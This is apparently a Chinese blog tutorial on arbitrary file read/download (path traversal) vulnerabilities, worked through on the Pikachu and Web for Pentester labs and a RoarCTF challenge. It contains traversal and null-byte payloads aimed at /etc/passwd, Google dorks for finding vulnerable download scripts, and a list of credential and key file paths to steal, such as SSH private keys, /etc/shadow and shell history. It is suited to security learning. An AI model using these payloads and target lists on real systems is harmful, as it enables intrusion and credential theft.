任意文件读取/下载漏洞总结

一、漏洞简介

任意文件读取/下载漏洞(Arbitrary File Read/Download Vulnerability),是指攻击者可以通过某些漏洞,绕过应用程序的限制,直接读取或下载应用程序之外的文件。

这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞,从而读取或下载他们本来无权访问的文件,如密码、私钥、证书等,会提供攻击者更多可用信息,提高被入侵的风险。

这里以 Pikachu 靶场的 unsafe filedownload 模块为例:

在这里插入图片描述
随便点击一个球员,就会提示下载

在这里插入图片描述
从上方的链接可以看出,它是通过get传一个文件名进行读取文件的,如果后端的代码控制的不够严格就会出现文件下载漏洞。通过目录遍历的方式尝试读取其它文件:
在这里插入图片描述
成功读取到,同理也可以读取 passwd 文件。

看一下源码:

// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);

//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
    skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
    return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据

//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){

    $file_con=fread($fp,$buffer);
    $file_count+=$buffer;

    echo $file_con;
}
fclose($fp);

可以看到没有对传入的参数做任何限制,所以产生了文件下载漏洞。

1、漏洞利用条件
  1. 存在读文件的函数:

fopen() 函数:

$file = $_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, filesize($file)); // 读取文件内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容

fread() 函数:

$file = $_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, 1024); // 读取文件前 1024 字节的内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容

include() 函数:

$file = $_GET['file']; // 用户提供的文件路径
include($file); // 包含文件并输出内容

readfile() 函数:

$file = $_GET['file']; // 用户提供的文件路径
readfile($file); // 读取并输出文件内容

file_get_contents() 函数:

$file = $_GET['file']; // 用户提供的文件路径
$data = file_get_contents($file); // 读取文件内容
echo $data; // 输出文件内容

file() 函数:

$file = $_GET['file']; // 用户提供的文件路径
$data = file($file); // 将文件读入数组中
echo implode('', $data); // 输出文件内容
  1. 读取文件的路径用户可控且未校验或校验不严
  2. 输出了文件内容
3、漏洞类型:
index.php?f=../../../../../../etc/passwd

index.php?f=../index.php

index.php?f=file:///etc/passwd

当参数 f 的参数值为php文件时,
若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞。

4、文件下载漏洞利用思路:

当遇到一个任意文件下载时,我们的一般利用思路:

  • 下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

  • 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

  • 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

当遇到一个任意文件下载漏洞时首先要注意权限问题。因为权限决定我们能下载的文件范围。

尝试读取 /root/.bash_history 看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的配置信息文件。
读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

如果遇到 java+oracle 环境

可以先下载 /WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载
/WEB-INF/classes/xxx/xxx/ccc.class 对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话可以本地构造上传页面用api接口将我们的文件传输进服务器。

如果具有root权限

这时候很多人肯定会说:有root权限直接去读shadow文件了,但是很多时候我们遇到的服务器可能只对外开放了80,443两个端口,这时候我们即使获得了账号密码作用也不大,但是具备root权限对任意文件下载利用是绝对的。

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库 /var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

locate 读取方法

locate mlocate.db admin

可以将 mlocate.db 中包含admin内容全部输出来
在这里插入图片描述
利用这个文件可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,但是这个文件只有root用户才能读取。

另一方面我们也可以利用linux内核的一个文件/proc/self/cmdline当前进程的cmdline参数,可以获取到路径信息。

总体来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。

5、漏洞挖掘:

可以用Google hacking或Web漏洞扫描器

Google search利用:

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
二、常见的敏感信息路径:

Windows系统:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux/Unix系统:

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
三、靶场复现

使用 web for pentester 进行测试。镜像下载 VMware安装镜像文件启动即可使用。

查看ip地址:
在这里插入图片描述
访问IP 进入环境
在这里插入图片描述
用 Directory traversal 模块复现(是的就是目录遍历,一般的文件下载或读取都会用到 ../)。

Example 1

源码:

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

有 fread 函数,可以看出未作限制,直接使用../跳跃目录来读取 passwd 文件:

http://192.168.50.132/dirtrav/example1.php?file=../../../etc/passwd

在这里插入图片描述

Example 2

源码:

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

从代码里可以看出,路径必须存在 /var/www/files/ ,构造如下payload:

http://192.168.50.132/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

在这里插入图片描述

Example 3

源码:

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

preg_replace() 函数的第一个参数是一个正则表达式,该正则表达式匹配一个空字节和后面的所有字符。

\x00 表示空字节
. 表示匹配除换行符外的任何字符
* 表示匹配 0 个或多个前面的元素。

第二个参数是一个空字符串,表示使用空字符串替换正则表达式匹配的内容。因此,如果文件路径包含空字节和之后的任何字符,则这些字符将被替换为空字符串,从而消除了空字节的影响。

最终,变量 $path 将不再包含空字节或之后的任何字符。这是为了避免曾经存在的空字节(null-byte)问题。此问题可能导致攻击者通过在文件路径中插入空字节绕过 PHP 的文件系统检查和过滤机制,从而访问和执行未授权的文件。

构造payload:

http://192.168.50.132/dirtrav/example3.php?file=../../../etc/passwd%00

在这里插入图片描述

四、CTF例题:

再来看一道 ctf 题,复现地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java

在这里插入图片描述
打开是一个登陆框,尝试对登陆框进行测试无果,只有个 help.docx 文件可以下载,有可能存在文件下载漏洞。

直接点击 help 下载不了,抓包修改为 post 提交方式:

在这里插入图片描述
成功下载了。因为题目提示java,尝试下载网站的配置文件 WEB-INF/web.xml

在这里插入图片描述
发现了一个关键文件,也就是 /WEB-INF/classes/com/wm/ctf/FlagController.class
在这里插入图片描述
发现一串 base64 编码,解码得到 flag。
在这里插入图片描述

  • 5
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值